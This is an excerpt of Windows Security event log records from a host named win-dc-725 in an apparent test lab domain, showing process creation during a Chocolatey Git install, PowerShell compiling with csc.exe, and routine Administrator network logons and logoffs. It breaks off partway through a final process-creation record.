Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246129
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd1c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "pull.rebase" "false" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246128
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd1c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246127
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd1c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "pull.rebase" "false" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246126
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "core.autocrlf" "true" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246125
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246124
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe54
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.autocrlf" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe9c
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "http.sslCAInfo" "C:/Program Files/Git/mingw64/ssl/certs/ca-bundle.crt" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246203
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x731F9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246202
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D007

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246201
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D007
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246200
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246199
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246198
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8CFD6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246197
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8CFD6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246196
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8CFD6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246195
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246194
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246193
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8564C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246192
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x747B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246191
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x73696

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246228
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1danjyyg.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246227
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EB07

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246226
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EB07
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246225
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246224
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246223
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb8
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
